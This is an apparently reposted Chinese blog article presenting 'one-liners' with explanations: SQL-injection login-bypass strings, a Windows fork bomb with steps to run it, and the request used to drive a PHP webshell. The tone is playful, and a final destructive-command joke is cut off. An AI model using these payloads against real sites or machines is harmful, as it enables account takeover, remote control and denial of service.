栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

【云原生】那些看起来很牛X,原理却很简单的一行代码

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

【云原生】那些看起来很牛X,原理却很简单的一行代码

「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者

1. 万能密码

没错,就是字面意思,只需要知道账号,然后输入下面这行代码:

账号'and 1 -- a

比如,很多网站的默认账号都是admin,我们就输入 admin'and 1 -- a,密码随便写:


点击登录,成功登录admin账号。


实际上,这是SQL注入的一种利用方式,对于存在注入点的网站,都可以使用。

一般来说,登录功能的代码都是下面这种格式:

select * from user where username = '' and password = '' limit 1,1

我们输入的账号 admin'and 1 -- a和密码1,拼接到SQL里面:

select * from user where username = 'admin'and 1 -- a' and password = '1' limit 1,1

-- 是注释,注释后面的内容不参与编译:

select * from user where username = 'admin'and 1

1 会被转化为 True

select * from user where username = 'admin'and True

只要存在 admin 这个账号,SQL就能查询成功,从而实现登录。

2. 万能账号

上面的代码你得知道账号,但这个你连账号都不用知道:

a' or 1 -- a

在账号处输入 a' or 1 -- a,密码随便写:


点击登录,成功。


原理跟上面大同小异,也是SQL注入的一种利用方式,适用于存在注入的网站。

参数拼接到SQL以后,是下面这样:

select * from user where username = 'a' or 1 -- a' and password = '' limit 1,1

-- 注释后面不编译,1转换为True:

select * from user where username = 'a' or True

or 是或的意思,两边有一个True,结果就返回True,实际执行的SQL是这样的:

select * from user where True
3. fork炸弹

新建一个文本文件,输入 %0|%0


后缀名改成 .bat,有杀毒软件的话应该会提示,建议在虚拟机运行。


打开任务管理器后,双击运行。
你会看到先是CPU跑满,再是内存跑满,然后提示内存不足,然后……

原理其实很简单,就是不停的创建进程,创建速度可以参考小学三年级学过的指数增长。fork炸弹会不停的消耗资源,当资源耗尽时就会蓝屏或者黑屏,重启电脑就可以了。

提示:运行的同时执行taskkill /f /im cmd.exe,会有神奇的事情发生。

限制单个用户可创建的进程数上线,可以在一定程度上防止fork炸弹。

4. 一句话牧马

电影中,黑客通常会在别人电脑中植入后门程序,然后控制别人的电脑,听起来很酷对吧?实际上,最简单的后门,一行代码就够了。

以PHP为例,将包含这行代码的文件,上传到网站的web目录下:


访问这个文件,就能控制别人了。

原理其实很简单,地址栏访问这个文件,利用参数传递命令:

127.0.0.1/shell.php?shell='ls'

后台接收GET请求传递的参数:


配合@eval 函数可以执行系统命令,从而起到控制的效果。

5. 清理垃圾

PS:有粉丝反应,没有这行代码是没有灵魂的,那就再添一个吧。

很多公司在招聘员工的时候,都会要求应聘者有一定的优化能力。

当你的老板要求你优化代码,提升系统的运行效率时,就可以打出下面这行代码,获得大幅度升职加薪:

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1002519.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号